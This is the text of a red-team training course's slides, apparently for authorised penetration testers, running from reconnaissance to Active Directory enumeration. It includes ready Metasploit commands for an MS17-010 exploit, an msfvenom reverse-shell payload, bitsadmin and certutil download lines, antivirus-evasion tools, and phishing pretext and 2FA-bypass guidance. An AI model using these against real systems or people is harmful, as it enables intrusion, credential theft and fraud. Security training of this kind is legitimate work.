● Identifying and Prioritizing Targets
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Tech Stack Enumeration
Every organization has a custom technology stack that they rely upon for their 

infrastructure, including their applications, internal development etc.

● Helps in targeted attack. 

● Less noise and less false positives. 

● Wappalyzer and Builtwith

● APIs available

● Tools:
○ DataSploit: domain/domain_wappalyzer.py

● Custom Script: find_http_https.py > enumerate_tech.py
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Wappalyzer
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BuiltWith
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Find HTTP/HTTPS on subdomains

Enumerate what is the tech stack
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Intelligent Directory Fuzzing
● Blind directory fuzzing is great, but too noisy and time consuming. 

○ Dirbuster and Burp Intruder 

● Tech stacks should be used to streamline the directory fuzzing.

● Eg. For a target sharepoint server, checking for config.php is just pointless. 

● Flow:
○ Enumerate Tech

○ Segregate the targets

○ Brute Force the directories accordingly

● Useful Link
○ https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content 

https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
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Make Respective URL Lists
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Results
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StackOverflow
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LinkedIn Jobs
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Job Postings and Forums
● List of portals and patterns for job listing:

○ https://www.linkedin.com/company/<company>/jobs/
○ https://www.monster.com/jobs/c-<company>-l-<location>.aspx
○ https://www.indeed.com/cmp/<company>/jobs
○ http://jobs.example.com
○ http://career.example.com
○ http://example.com/jobs
○ http://example.com/career

● Discussion forums
○ https://stackoverflow.com/
○ https://github.com/
○ https://social.technet.microsoft.com/Forums
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Lab Exercise 7
● Make a list of all the domains/subdomains running HTTP/HTTPs services. 

● Find sensitive URLs across all the identified websites for carbonconsole.com 



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

Cloud Storage Enumeration
Cloud storage resources allow organizations to share data publicly or with authorized 

applications/users. They are becoming more and more common and if misconfigured 

can potentially reveal sensitive information. 

● World is moving to the cloud. So is the storage stack. 

● AWS S3 / Digital Ocean Spaces / Gcloud Big Storage / Azure Blobs.

● Often, misconfigured allowing public read access and sometimes write access too. 
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Identifying and Exploring S3 Buckets
● Many organisations are moving towards cloud service provides to host and 

distribute their services. 

● Amazon S3 buckets (Simple Storage Service) is one such popular storage 

services.

● Sometimes organisations implement inadequate access controls leading to 

leakage of sensitive information from these buckets.
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Bucket Finder / Digital-Ocean Space Finder.
● Spider a website. Generate a list of URLs

● Pass it to parse.py

● Returns any cloud storage object being used.

● Uses RegEx patterns.
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Custom Bucket Finder
● Generate bucket names (based on a pattern)

○ python create_bucket_patterns.py <keyword>

○ https://github.com/brianwarehime/inSp3ctor

● Check if these bucket names exist?

● If Exist, check for permissions

● S3 Buckets have four permissions:
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Storage Permissions: AWS
● Set Environment Variables using own keys

○ $ export AWS_ACCESS_KEY_ID=AKI**********EXAMPLE

○ $ export AWS_SECRET_ACCESS_KEY=wJ**********/K7*****/bPx*****EXAMPLEKEY

○ $ export AWS_DEFAULT_REGION=us-west-2

● Check bucket permissions
○ $ aws s3 ls s3://prod-example-bucket

○ $ aws s3 ls s3-us-west-2.amazonaws.com

○ $ aws s3 cp temp s3://prod-example-bucket
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S3Scanner
● Tool: https://github.com/vysec/S3Scanner 

https://github.com/vysec/S3Scanner
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Custom Spaces Finder
● Written by Appsecco

● Tool to quickly enumerate DigitalOcean Spaces to look for loot

● Built on top of AWSBucketDump by @ok_bye_now

https://github.com/appsecco/spaces-finder 

python3 spaces_finder.py -l SpacesNames.txt -g 
interesting_keywords.txt -D -m 500000 -d 1 -t 5

https://appsecco.com/
https://twitter.com/ok_bye_now
https://github.com/appsecco/spaces-finder
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GCPBucketBrute
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Lab Exercise 8
● Create a list of possible s3 buckets for CarbonConsole.

● Find the buckets that exist.

● Check file permissions, and steal any useful information. 

● Find list of s3 buckets being used on any of the enumerated websites.
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Identifying Points of Entry
There can be multiple entry points into an organization’s network, most commonly 

exposed services with open ports and external web applications.

These exposed services and web applications need to be explored further 

(actively/passively) in a methodical manner so that a targeted attack can be launched.

● Port Scanning

● Service/Application Screenshot

● Directory Enumeration and Spidering
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Hacker Search Engines - Shodan

Operators:

■ city: find devices in a particular city

■ country: find devices in a particular country

■ geo: you can pass it coordinates

■ hostname: find values that match the 
hostname

■ net: search based on an IP or /x CIDR

■ os: search based on operating system

■ port: find particular ports that are open

■ before/after: find results within a timeframe



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

Censys
Similar to Shodan, but allows search in Certificates DB along with IPv4 Hosts. 
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ZoomEye

ZoomEye operator examples:

■ port:22
■ os:linux
■ service:webcam
■ hostname:google.com
■ country:US
■ app:Apache
■ ip:8.8.8.8
■ cidr:8.8.8.8/24
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APIs Available.
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Port Scanning: Nmap
● Nmap being the Flagship tool. 

○ Reliable, but slow. (Aggressive Scans are less reliable)

○ -Pn : Assumes the host is up

○ -p : Port Range (-p- means full port scan)

○ -sV : Service Scanning

○ iL : List of IP Addresses (supports CIDR Ranges)

○ -sn : Host Discovery

○ -O : Operating System Enumeration

○ -T[1-5] : Aggressiveness Control

○ --script : Nmap Scripts (https://nmap.org/book/man-nse.html )

● Write your own NSE Scripts (https://github.com/s4n7h0/Halcyon )

https://nmap.org/book/man-nse.html
https://github.com/s4n7h0/Halcyon
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Port Scanning: masscan
● Masscan

○ This is the fastest Internet port scanner. Can be used to literally scan the internet. :P 

○ Asynchronous transmission

○ Allows arbitrary address ranges and port ranges.

○ Supports config files

● Examples
○ masscan -p80,8000-8100 10.0.0.0/8

○ masscan 0.0.0.0/0 -p0-65535 (scans the whole internet)
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Automatic Screenshots?
● WebScreenShot

○ https://github.com/maaaaz/webscreenshot 

● Uses url-to-image phantomjs script.

● Takes list of URLs. Clicks Screenshot. Saves in output directory.

https://github.com/maaaaz/webscreenshot
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Finding Interesting Apps and Services
● Sensitive Services:

○ SSH

○ RDP/VNC

○ Database

○ VoIP

● Sensitive portals:
○ Admin/Employee Login

○ VPN Portals

○ Single Sign On (SSO)

○ Client/Partner Login
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Lab Exercise 9
● Perform Port scan on all the identified assets. 

● Identify entry points to the identified assets. 

○ Login Pages

○ Services supporting Authentication 
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Spidering and Enumerating

Crawling the websites for scraping URLs. The usual process is to open a page, find 

URLs, open the found URLs and repeat the process. The depth of spidering means the 

number of such iterations.

● Spider the website for:
○ Mapping the surface area

○ Understanding the structure

○ Parameterized URLs

● Page link enumeration

● Identifying Tech Stack

● Generate dictionary lists.
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BurpSuite Community (Free) Spider
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Visual Mapper
http://www.visualsitemapper.com/ 

http://www.visualsitemapper.com/
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Find Useful URLs
● BlackWidow

○ https://github.com/1N3/BlackWidow

● Python based web application scanner

● Gather OSINT and fuzz for OWASP vulnerabilities

● Finds useful and Dynamic URLs for pentesting.

https://github.com/1N3/BlackWidow
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BlackWidow in Action
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Related Domains
● Based on Third Party Tags

○ Facebook Pixel / Google+ / Google Analytics Tag Usage and History
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Exploring Breaches
● Websites get hacked, and Databases often are released online. 

● Emails, Phone numbers, Passwords, Password Hashes, Credit Card Info. 

● More than 200 GB of passwords are publicly available. 

● Pastebins / Full Disclosures / Torrents / Darknet

● People use same passwords across multiple accounts.

● Sometime even in corporate accounts.
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Have I Been Pwned
● Project by @TroyHunt

● Lets you search in breached password and tell whether your password has been 

breached or not. 

● Password is never revealed. 



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

What next?
● Once breached source is know, search for the passwords online.

● Search in darknet scrapers
○ https://hacked-emails.com/ (includes password from few sources)

○ Public Breached Passwords Listing

○ https://twitter.com/dumpmon (Twitter account that tweets about leaked data)

■ Scrape it? 

○ https://databases.today 

Note: Accessing and/or using breach data might not be legal in your country, please take advice from a lawyer before doing 

so. The mentioned sources and other similar ones are usually very dynamic and keep on adding/removing features/data.

https://hacked-emails.com/
https://twitter.com/dumpmon
https://databases.today
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1.4 Billion Password Leaked, Do you know?
● Bunch of breached password data was combined.

● Released as torrent link ~ 40 GB

● Identify the password and spray.
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Public Breached Password Datasets
https://publicdbhost.dmca.gripe/ 

https://publicdbhost.dmca.gripe/
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Lab Exercise 10
● Find all the breached passwords for the username william.graham
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Introducing Auto_Dump_m0n.py (Custom Script)
● Monitors dumpmon’s twitter account using Twitter Streaming API.

● Uses https://github.com/upgoingstar/TweetMonitor in backend.

● For every tweet, checks if the url contains any email/password combinations
○ Using RegEx

● Saves the same in flat files. 

● WIP: Dump to ElasticSearch / MongoDB / Any other DB of your choice

● Run it in screen or as a service.

https://github.com/upgoingstar/TweetMonitor
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Scraped Passwords
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Password Cracking
● Sometimes clear text passwords are not available.

● Hashes (MD5/Sha1/etc.) are leaked.

● Way to crack them:
○ Offline Cracking

■ JTR/Hashcat

○ Online Searches

■ https://crackstation.net/ 

■ https://hashkiller.co.uk 

■ http://www.md5this.com/ 

https://crackstation.net/
https://hashkiller.co.uk
http://www.md5this.com/
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Lab Exercise 11
● Crack the password hashes collected against carbonconsole.com

○ Offline Password Crackers

○ Online Password Crackers
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MetaData
Metadata is defined as data providing information about one or more aspects of the 

data, such as:

○ Layout

○ Author Info

○ Keywords

○ Schemas

○ Document IDs

○ Create Date

○ Toolkits

○ File Type

○ File Type

○ Permission

○ MIME Type

○ Producer

○ Creating Tool



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

MetaData Use Case?
● Author names can be used to generate username and password patterns.

● The OS name can be used to launch targeted exploits.

● Creation Tool details can be used to find vulnerabilities in Old Softwares.
○ Old PDF Generators

○ Old MS Office ~ Publicly available exploits.
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Generate Username and Passwords Patterns
● Enumerate People in an organization.

○ Foca ~ Metadata

○ Linkedin

○ Email Addresses

○ Websites

● With First name and Last name, create user patterns. 
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Lab Exercise 12
● Find the first name and last name of the people who work for Carbonconsole.com

● Make a list of these names.

● Generate custom list of usernames and passwords for the these people. 

● Find possible password keywords from the website.
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Metadata Extraction Tools
● MetaShield (https://metashieldclean-up.elevenpaths.com/ )

● Exiftool (https://www.sno.phy.queensu.ca/~phil/exiftool/ )

● Foca (https://www.elevenpaths.com/labstools/foca/index.html )

Note Author Names, Creating Tools, Keywords

https://metashieldclean-up.elevenpaths.com/
https://www.sno.phy.queensu.ca/~phil/exiftool/
https://www.elevenpaths.com/labstools/foca/index.html
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FOCA
● Search for files, subdomains etc. from internet.

● Files list can be used to extract metadata > Author names. 
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ExifTool
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Google For Hacking
Apart from its basic search functionality Google provides other features such as 

advanced search functionality, Custom Search Engine (CSE), Google alerts which can 

help in finding and monitoring relevant information.

● Create custom search engine. 
● Allows search results restricted on following:

○ Individual pages: www.example.co.uk/page.html
○ Entire site: www.mysite.com/*
○ Parts of site: www.example.co.uk/docs/* or www.example.co.uk/docs/
○ Entire domain: *.example.co.uk

● API Keys, so can be automated
● HTML Code, so can be hosted. 
● https://inteltechniques.com/osint/pastebins.html
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Google CSE
Google CSE allows to create a custom search engine which will search content based 

on rules defined by the creator (sites, language, region, etc.). It also provides a Custom 

Search JSON API which can user to interact with the CSE programmatically.
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Google Dorks
Google Hacking is basically using advanced Google 

queries (called as Google Dorks) which could provide 

sensitive information related to the target.

Exploit DB maintains list of such queries on their website:

● https://www.exploit-db.com/google-hacking-database
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Google Alerts
Google Alerts is a google service which allows to 

monitor the web for new content by delivering 

updates related to the alert topic to your gmail.

● https://www.google.com/alerts
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Lab Exercise 13
Create a CSE of your own which can search following websites:

● pastebin.com

● dpaste.com

● hastebin.com

Find the Netflix password for the user: eric_deschenes87@hotmail.com using CSE.

mailto:eric_deschenes87@hotmail.com
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Target Prioritization
Once a lot of information has been collected and enriched we need to identify and 

prioritize our targets, as many times the security engagements have limited number of 

days allocated to it.

Multiple factors need to kept in mind depending upon what can/cannot be considered 

part of the scope. 
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Target Prioritization: Technology
Some factors to consider while prioritizing digital assets:

● Open ports/exposed services which accept authentication (SSH, FTP, SQL)

● Applications/Services which can land you inside the internal network (VPN, VoIP 

etc.)

● Older versions of web frameworks/services

● Services which allow to directly connect to the machine (RDP, VNC etc.)

● Admin/SSO/Customer/Partner portals

● Network Devices (Switch/Router/AP)

● Assets of recent acquisitions/supply chain.
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Target Prioritization: People
Some factors to consider while prioritizing people:

● People with high social media activity.

● People having interests(visible online) apart from their direct job.

● People who need to communicate with people other than employees (HR, 

Procurement) as part of their job.

● The CXO suite.

● Support staff.
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Target Prioritization

Bonus: Do we have anything we can use directly to gain some access?
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DAY 2
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Attacking and Exploitation
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In this module we’ll learn about:

● Targeted Credential Spraying
● Compromising Business Communication Infrastructure (BCI)
● Attacking Network Services using collated data
● Stealing information from Buckets/Blobs
● Compromising Cloud Server Instances
● Discovering and Exploiting Hidden Injection Points
● Compromising Federation Servers/Domain Controller Servers
● Mapping Forest Environment
● Exploiting Domain Trust 
● Exploring Human Attack Surface
● Attack Planning: Compromise the Unreachable Domain
● Exploring the Compromised Assets [Bonus Lab Exercise]
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Attacking Network Services
Exposed services are one of the prime targets for any attacker to exploit and gain access 

to an organization's network. Two common approaches to gain access are using 

credential spray (brute force, dictionary attack) and exploiting vulnerable services.

As discussed earlier, some such services are:

● SSH
● HTTP
● VPN
● VoIP
● RDP
● VNC
● Database services (MySQL, MSSQL, PostgreSQL, MongoDB etc.)
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Credential Spraying
One the most common ways to gain access to a service or application is to dry different 

combinations of usernames and passwords and is called credential spraying in simple 

terms.

Although it’s a noisy approach, it can be tweaked to make it a less noisy and more 

effective that a simple brute force attack.
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Problems with traditional Brute Force
● Noisy.

● Too big dictionary files.

● Hitting in the dark. 

● Less relevant.
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No Traditional Brute Force please.
● OSINT for Email / User harvesting.

● User/Email based dictionaries.

● Default Creds based on Technology Profiling.

● cEWL to create relevant dictionaries.

● Spraying across different login page(s), identified using OSINT.
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What’s the solution?
● Be Precise.

● Enumerate employees (LinkedIn / Email-Harvestor / MetaData, as used above)

● Identify common, but relevant passwords
○ Ex. for windows boxes, consider common password policy.

● Pick words from website and make a dictionary file.

● Try 
○ Same password as username

○ Blank Password

○ P@ssw0rd

○ If OSINT gives you Winter15, and leak was in 2015, try Winter19
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Password Spraying
● Network Services

○ Brute Spray (Works on top of Medusa)

■ https://github.com/x90skysn3k/brutespray 

■ Nmap Results + Custom Dictionary File(s) > Brute Spray

■ Supports spraying on ssh, ftp, telnet, vnc, mssql, mysql, postgresql, rsh, imap, nntp, 

pcanywhere, pop3, rexec, rlogin, smbnt, smtp, svn, vmauthd, snmp

○ Hydra

○ MetaSploit Auxiliary Modules

● Web Services
○ Burp Intruder

https://github.com/x90skysn3k/brutespray
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Spray Keys
Often times some services not just use credentials but also some type of token which 

can allow users to gain some privilege with that particular service.

● Keys identified during OSINT
○ Keys (Web Services, Cloud Services like AWS)

○ Auth Tokens (Web Applications/Services)

○ SSH Keys (SSH service)

● Compromise
○ Third party service Integration

○ Web / Mobile Applications

○ Servers
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User/Default Credential Spray
● Find password (or a list of passwords) for user(s)

● Check it on multiple social media accounts. 
○ Linkedin, Instagram, Dropbox, Twitter, etc.

● Cr3d0v3r to rescue.
○ https://github.com/D4Vinci/Cr3dOv3r

● For checking default credentials use Changeme:
○ https://github.com/ztgrace/changeme

https://github.com/D4Vinci/Cr3dOv3r
https://github.com/ztgrace/changeme
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Cr3d0v3r in Action
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Lab Exercise 14
● For the identified carbonconsole.com emails and their respective passwords, 

check credential reuse attack.
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Changeme in Action
● Default Creds Scanner: https://github.com/ztgrace/changeme 

○ python3 changeme.py --verbose <HOST> -a

https://github.com/ztgrace/changeme
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Lab Exercise 15
● Scan all the identified IP Addresses and Websites for default credentials. 
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Service Exploitation
Many times the exposed services use a version of the software with known 

vulnerabilities. Exploiting these services can also grant us access to the host running 

the service. 

The most popular exploitation frameworks are:

● Metasploit: https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers 

● Exploitpack: http://exploitpack.com/ 

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
http://exploitpack.com/
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Metasploit
Metasploit is a framework which contains multiple modules for pentesting. It can be 

used to create as well as launch exploits to gain access to a machine. 

Primary Metasploit modules:

● Auxiliary: Enumerating, scanning, fuzzing and 

much more 

● Exploit: Code to exploit specific vulnerabilities

● Payload: Code to execute on successful 

exploitation
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Metasploit: Auxiliary Example
SMB Login Check (SMB is a network file sharing protocol)

> search smb

> use auxiliary/scanner/smb/smb_login

> show options

> set RHOSTS <Target IP/CIDR>

> set SMBUser <USERNAME>

> set SMBPass <PASSWORD>

> set THREADS 20

> run
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Metasploit: Exploit Example
MS17-010 EternalRomance/EternalSynergy/EternalChampion: SMB Windows RCE

> use exploit/windows/smb/ms17_010_psexec

> set PAYLOAD windows/x64/meterpreter/reverse_tcp

> set LHOST <OWN IP>

> set RHOST <TARGET IP>

> exploit
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Metasploit: Payload Example
Meterpreter Reverse HTTPS: 

○ # msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<OWN IP> LPORT=<OWN 

Port> -f exe > x.exe

Transfer the Payload to victim Windows box:
○ bitsadmin /transfer wcb /priority high http://<Payload_host>:<Port>/x.exe c:\windows\temp\x.exe

○ certutil -urlcache -split -f http://<Payload_host>:<Port>/x.exe c:\windows\temp\x.exe
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Lab Exercise 16
● Perform Brute Force attack on 

○ FTP service using MSF Framework 

○ Jenkins Server Login using MSF Framework 

○ Wordpress Login using WPForce

● Use the generated username/password files in earlier phase.
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Attacking Business Communication 
Infrastructure 

As discussed earlier, Business Communication Infrastructure (BCI) is the backbone of 

every organization’s information exchange structure and can become one of the entry 

point for the attackers.

Previously we discussed how to identify BCI of an organization.
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Attacking G Suite  
Targeting G Suites service for phishing:

● Groups Invitation

● Hangout Invitation

● Docs Comment 

● Calendar Invite 

To phish a Gmail user with 2FA account, use CredSniper 

(https://github.com/ustayready/CredSniper). Once compromised, the account can be 

used to launch internal phishing attacks as well to extract all content from 

https://takeout.google.com/

https://github.com/ustayready/CredSniper
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Attacking MS Suite  
● Discover potential usernames (LinkedIn, Github, File Metadata etc.).

● Identify Mail server

● Enumerate internal domain

● Enumerate usernames and spray credentials

● Gathering email addresses from Global Address List

● Spray credentials on new accounts

● Extract more information/internal phishing/persistence
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Attacking MS Suite: Tools  
● MailSniper: https://github.com/dafthack/MailSniper 

● Ruler: https://github.com/sensepost/ruler 

● Lyncsmash: https://github.com/nyxgeek/lyncsmash 

● LyncSniper: https://github.com/mdsecresearch/LyncSniper 

https://github.com/dafthack/MailSniper
https://github.com/sensepost/ruler
https://github.com/nyxgeek/lyncsmash
https://github.com/mdsecresearch/LyncSniper
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Attacking MS Suite  
Targeting MS Suites service for phishing:

● Skype

● Outlook

● Event Invitation
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Attack Scenario: Slack to Internal Network 
● Employee of a company created a chatbot as a Hackathon project which helps 

them get information about their hosts using Slack chat.

● The project is open-sourced on Github as it is, with Slack API keys intact.

● The developer identifies the mistake and updates the code to remove the key.

● A malicious actor identifies the project and extracts the keys from commit history.

● Utilizing the keys, the malicious actor is able to extract internal chat of employee 

which reveals sensitive information leading to access to company production hosts 

and ultimately to internal network.  
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Lab Exercise 17
● Identify the BCI for CarbonConsole.

● Gain access to William Graham’s account in the BCI environment.
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Bonus Task: Explore the Compromised Assets
Items to explore once a BCI has been compromised:

● Emails

● Contact List

● Calendar Invites/Events

● Groups

● Chat Logs

● Shared Files

● Shared secrets (passwords/tokens/keys)

● Internal network information (domain, usernames, architecture, diagrams etc.)

● See if you can take out all the information
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Windows Active Directory (AD) is Microsoft technology which is used to manage 

computers and other devices on a network. It also allows creation and management of 

domains, users and other associated objects within the network.

An AD environment usually contains one or more domains. These domains have 

multiple users and domain controller(s) (DC).

The domain controller runs a service called as Active Directory Domain Services 

(ADDS), which performs the function such as authentication/authorization and 

enforcing security policies for all computers and users.

What is Active Directory
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Active Directory Components
● Objects: The most basic unit of data in an AD. There are a variety of AD objects such as users, 

groups, computers, contact etc. and they hold attributes which describe the object.

● Organizational Units: OUs lets you organize objects within a domain, without creating 

additional domains.

● Domain: A logical group of related objects in an AD environment. A domain shares the same 

Active Directory database called as domain controller (DC). 

● Tree: A collection of domains that share a common namespace. For example internaldomain.com, 

sales.internaldomain.com, dev.internaldomain.com.

● Forest: A collection of trees that do not share a common parent domain but share a common 

global catalog.
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Windows Active Directory (On-Premise AD)
On-Premise Active Directory is a local setup of the Active Directory for an organization 

within a private network. An Active Directory environment needs at least one Domain 

Controller, but can have more.

However, Windows Active Directory wasn’t designed to manage online, web based 

services which led to the creation on Azure Active Directory, which is cloud based and 

supports web based services.
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Azure AD
Azure Active Directory (Azure AD) is cloud based identity and access management 

service provided by Microsoft. 

Azure AD can be understood as a lighter version of on-premise Active Directory 

service, available online. It's the default identity model for Office 365.

Azure AD can be synchronize with on-premise AD using Azure AD Connect
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Azure AD
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Single Sign-On
Single sign-on is an authentication process which allows users to input a single set of 

credentials and access multiple applications.  

There can be multiple SSO implementations, such as Security Assertion Markup 

Language (SAML) based which uses an XML-based solution to exchange user security 

information between an identity provider (IDP) and an service provider (SP); Kerberos 

based, which kerberos authentication to generate service key to access a service etc.

Single sign-on makes it easier for the user and the service provider to maintain a single 

set of credentials and maintain access.
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Single Sign-On
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Office 365 identity and Azure Active Directory
Office 365 is a line of subscription services offered by Microsoft, as part of the Microsoft 

Office product line. It uses multiple methods for managing users:

● Cloud-based user identity 

● Authentication service Azure Active Directory (Azure AD)

● Access the Azure AD interface for office 365 at https://aad.portal.azure.com  

https://aad.portal.azure.com
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Office 365 identity and Azure Active Directory
Three models of Cloud Authentication:

● Cloud Only - No on-premise Active Directory installation.

● Password hash sync with seamless single sign-on

● Pass-through authentication with seamless single sign-on
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Active Directory Federation Services (ADFS)
Active Directory Federation Services (ADFS) is a SSO service which runs on Windows 

server. It allows enterprise environment users to to access external web applications 

using domain credentials.

The main challenge ADFS addresses is of the remote users who need to access AD 

integrated applications. For example, accessing a web application provided by a 

partner/acquisition/service provider.
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Active Directory Federation Services (ADFS)
ADFS Authentication Steps:

● Organization A setup ADFS server and ADFS-proxy. Only the ADFS-proxy is 

exposed to the internet.

● Site B is federated by organization A and a trust relation is established between 

them.

● A user attempts to access site B.

● The user is redirected to ADFS-proxy, which asks for their credentials and 

redirects the user back to site B along with an access token.

● The user is now authenticated to site A. 
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Hybrid ADFS Implementation

Reference: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/plan-connect-user-signin
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ADFS Vulnerability: MFA Bypass
● A 2018 vulnerability in Microsoft ADFS service (CVE-2018-8340) allowed an 

insider to bypass MFA for another user on the same ADFS service.

● The MFA code for one user could be used for second-factor authentication to all 

other accounts within the organization.

● An attacker or insider with access to one account and MFA (own or phished) could 

bypass the extra layer of security put in place. Some MFA considerations:
○ Brute Force/Predictable token
○ Direct Request
○ Alternate interfaces

Reference: https://www.okta.com/security-blog/2018/08/multi-factor-authentication-microsoft-adfs-vulnerability/
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Lab Exercise 18
● From William’s Office 365 account, identify some information about the 

On-Premise Active Directory installation of CarbonConsole.

● Make your way to Internal AD environment of CarbonConsole and compromise a 

machine connected to internal domain. 
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Practical Social Engineering
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In this module we’ll learn about:

● User Profiling
● Watering Hole Attack
● Spear Phishing 
● Targeted Client Side Exploitation
● Dropping Payloads using BCI
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Social Engineering
Social Engineering can be defined as manipulation of people into performing actions 

that might not be in their best interest. In terms of information security, it can cover a 

wide range of malicious activities, some of which are:

● Phishing: Digital in nature, usually done using email or a fake website

● Vishing: Using telephone.

● Smishing: Using SMS text

● Physical SE: Impersonating/Faking an identity at physical location (office)
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User Profiling
The success of any social engineering engagement relies heavily on the 

reconnaissance of the target person. 

Having a deeper understanding of their personal and professional details can help the 

attacker to craft a pretext that suits well along with the payload and the delivery 

mechanism to be used. 
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User Footprint
● Full Name (company website, LinkedIn, social media)

● Email Address (company website, pattern generation, LinkedIn)

● Phone Number (company website, LinkedIn, social media, slides/presentations)

● Areas of Interest (LinkedIn, forums, social media)

● Geo-Location (Image Metadata, Social Media Check Ins/GeoTags)

● Photographs (Social Media)

● Places of Visit (Social Media Check Ins)

● Sleeping activity (https://github.com/x0rz/tweets_analyzer)

● Blog/Forum/Code Activity
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User Footprint
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Attacking the Users
During security assessment engagements, testing the security awareness of the users 

(employees) should be part the scope, as attackers usually rely on directly attacking 

(Social Engineering) the users to get a foothold within internal network.

Also, it has occured in many scenarios that the humans appear to be the weakest link 

in the chain of security. An attacker can trick a user in many ways to get code 

execution with the internal network and gain control of their machine.
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Phishing
Phishing is one of the oldest and highly effective attack vectors. An attacker might send 

a link of a fake login page to the user mimicking the email, VPN or another company 

portal or attach a malicious payload which once executed gives command execution to 

the attacker.
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Types: Target Based
● Mass Phishing: 

○ Targeting large number of user at once.

● Spear Phishing: 
○ Targeting very specific users with customised pretext.

● Whaling: 
○ Targeted towards high value users (e.g. CXO Suite).

● Watering Hole Attack: 
○ Targeted towards a specific group of end users by infecting portals (forums/chat channels etc.) 

that members of the group are known to visit. 
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Types: Access Based 
● External

○ The attacker has no access to the internal network or services (Email, Chat etc.) used by the 

organization.

○ Requires more targeted attacks.

○ Need to establish the trust with the victim user.

○ Less Reliable

● Internal 
○ The attacker already has access to internal network or to a service used by the organization.

○ Potential access to some insider information.

○ Some level of trust already established.

○ More Reliable
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Creating and Managing Campaigns
As previously discussed, the more targeted an attack is, the better chance of success.

● Identify your targets and their details to generate a pretext.

● Plan a date and time of the campaign (choose a work day and working hours based 

on the time zone).

● Create and test your payload and its delivery mechanism (check in different 

environments, against various AVs, mode of delivery).

● Setup your Command and Control beforehand and keep it separate from your 

attack servers.

● Register and setup your domain(s), SSL certificate and mail server few weeks 

earlier.
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Generating Pretext
Based on the OSINT exercise performed on the target, a custom pretext should be 

created based upon context.

● Authority: Email from administrator

● Sense of Urgency: Account being suspended, Recent Password Change

● Scarcity: Offering a limited time offer related to topic of interest 

● Threat: Failed tax return, Police warrant

● Help us help you: Tech support, Your enquiry

● Greed: Free offer, Huge discount

● Trust: Look alike website, domain.
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Generating Payloads
There can be a variety of payload types depending upon factors like target OS, mode 

of delivery, etc. Some common payload types are:

● Exe files (.exe)

● Batch files (.bat)

● Docx files with macros (.docx)

● HTA files (.hta)

● LNK files (.lnk)

● PDF files (.pdf)

● Zipped files (.zip)
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Generating Payloads
Multiple tools can be used to generate payloads for phishing:

● Metasploit: https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers 

● Social-Engineer Toolkit (SET): https://github.com/trustedsec/social-engineer-toolkit  

● Luckystrike: https://github.com/curi0usJack/luckystrike 

● Empire: https://github.com/EmpireProject/Empire 

● SharpShooter: https://github.com/mdsecactivebreach/SharpShooter 

● LNKUp: https://github.com/Plazmaz/LNKUp 

Some common tweeks to bypass AntiVirus detection are: Update tool template, 
Removing known malicious names from payloads, obfuscating the payload, encoding 
the payload etc.

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
https://github.com/trustedsec/social-engineer-toolkit
https://github.com/curi0usJack/luckystrike
https://github.com/EmpireProject/Empire
https://github.com/mdsecactivebreach/SharpShooter
https://github.com/Plazmaz/LNKUp
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Generating Stealthy Payloads
Antivirus bypass tools:

● Veil: https://github.com/Veil-Framework/Veil 

● Shellter: https://www.shellterproject.com 

● AntiVirus Evasion Tool: https://github.com/govolution/avet 

https://github.com/Veil-Framework/Veil
https://www.shellterproject.com
https://github.com/govolution/avet
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Selecting a Suitable Domain
A domain needs to be purchased for a phishing campaign, if:

● a payload needs to be hosted

● victim credentials need to be harvested using a clone website

● the payload connects back to the attacker machine using domain name

It is advised to buy a domain few weeks prior to the exercise along with email setup 

and host content related to categories relevant to your pretext. This allows mail filters to 

categorize it and the domain is not instantly flagged.
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Typosquatting
In simple terms, typosquatting is purchasing domain names which look similar to the 

target domains in appearance with minor yet easy to miss changes, for example 

Linkedln.com (small l) can be a potential typosquat for LinkedIn.com (capital i). 

Some tools to generate and test typosquatting:

● Chameleon: https://github.com/mdsecactivebreach/Chameleon 

● DNStwist: https://github.com/elceef/dnstwist 

● EvilURL: https://github.com/UndeadSec/EvilURL 

https://github.com/mdsecactivebreach/Chameleon
https://github.com/elceef/dnstwist
https://github.com/UndeadSec/EvilURL
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Tool in Action
● DNStwist
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Setting up the Server
Once all preparation is done, the hosting servers (payload hosting, website clone, email 

server) should be setup on a machine publicly accessible and separate from other 

attack servers.

There are certain email security attributes such as Sender Policy Framework (SPF), 

DomainKeys Identified Mail (DKIM), Domain-based Message Authentication, Reporting 

and Conformance (DMARC) which if set increase the likelihood of the email delivery to 

the victim.
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GoPhish - Phishing Framework
● GoPhish - An Open-Source 

Phishing Framework which can be 

used to create, manage and track 

phishing campaigns using the 

collected email addresses. 

● Use Email Templates for a 

streamlined phishing email.
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GoPhish - Phishing Framework
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2-Factor Authentication
In some scenarios there might be two factor authentication enabled on the application 

being impersonated, following tools can be helpful in such scenarios:

● CredSniper: https://github.com/ustayready/CredSniper 

● ReelPhish: https://github.com/fireeye/ReelPhish 

● Evilginx2: https://github.com/kgretzky/evilginx2 

https://github.com/ustayready/CredSniper
https://github.com/fireeye/ReelPhish
https://github.com/kgretzky/evilginx2
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Other Variations
Similar to an external email phishing exercise, there can be other variations:

● Hosting clones of websites trusted by the users (VPN/OWA/Gmail etc.) login.

● Identifying a watering hole (chat portal/forum/discussion panel/support portal) 

and dropping payload links presented as a genuine part of discussion.

● Exploiting internal/service access as an internal user (higher trust) to share 

payloads with other users/groups/channels. 
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Lab Exercise 19
● Setup a Phishing Campaign using GoPhish.
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Post Exploitation, Lateral Movement & 
Persistence
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In this module we’ll learn about:

● Privilege Escalation in Windows Environment
● Dumping Privileged User Credentials
● Compromising AD and Network Persistence
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Active Directory Forest



© Copyright 2019 RedHunt Labs Pvt. Limited, all rights reserved.

Exploring Active Directory: ADExplorer
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Active Directory Enumeration
Information to look for in an AD environment:

● Domain Name(s)

● Usernames and Privileges

● Password Policy (strength/expiry)

● Current Account Permissions

● Groups

● Domain Trust
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Active Directory Enumeration: ADRecon
ADRecon: Powershell based tool to gather information about the Active Directory and 

generate a report. https://github.com/adrecon/adrecon 

https://github.com/adrecon/adrecon
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Active Directory Enumeration: BloodHound
● BloodHound:

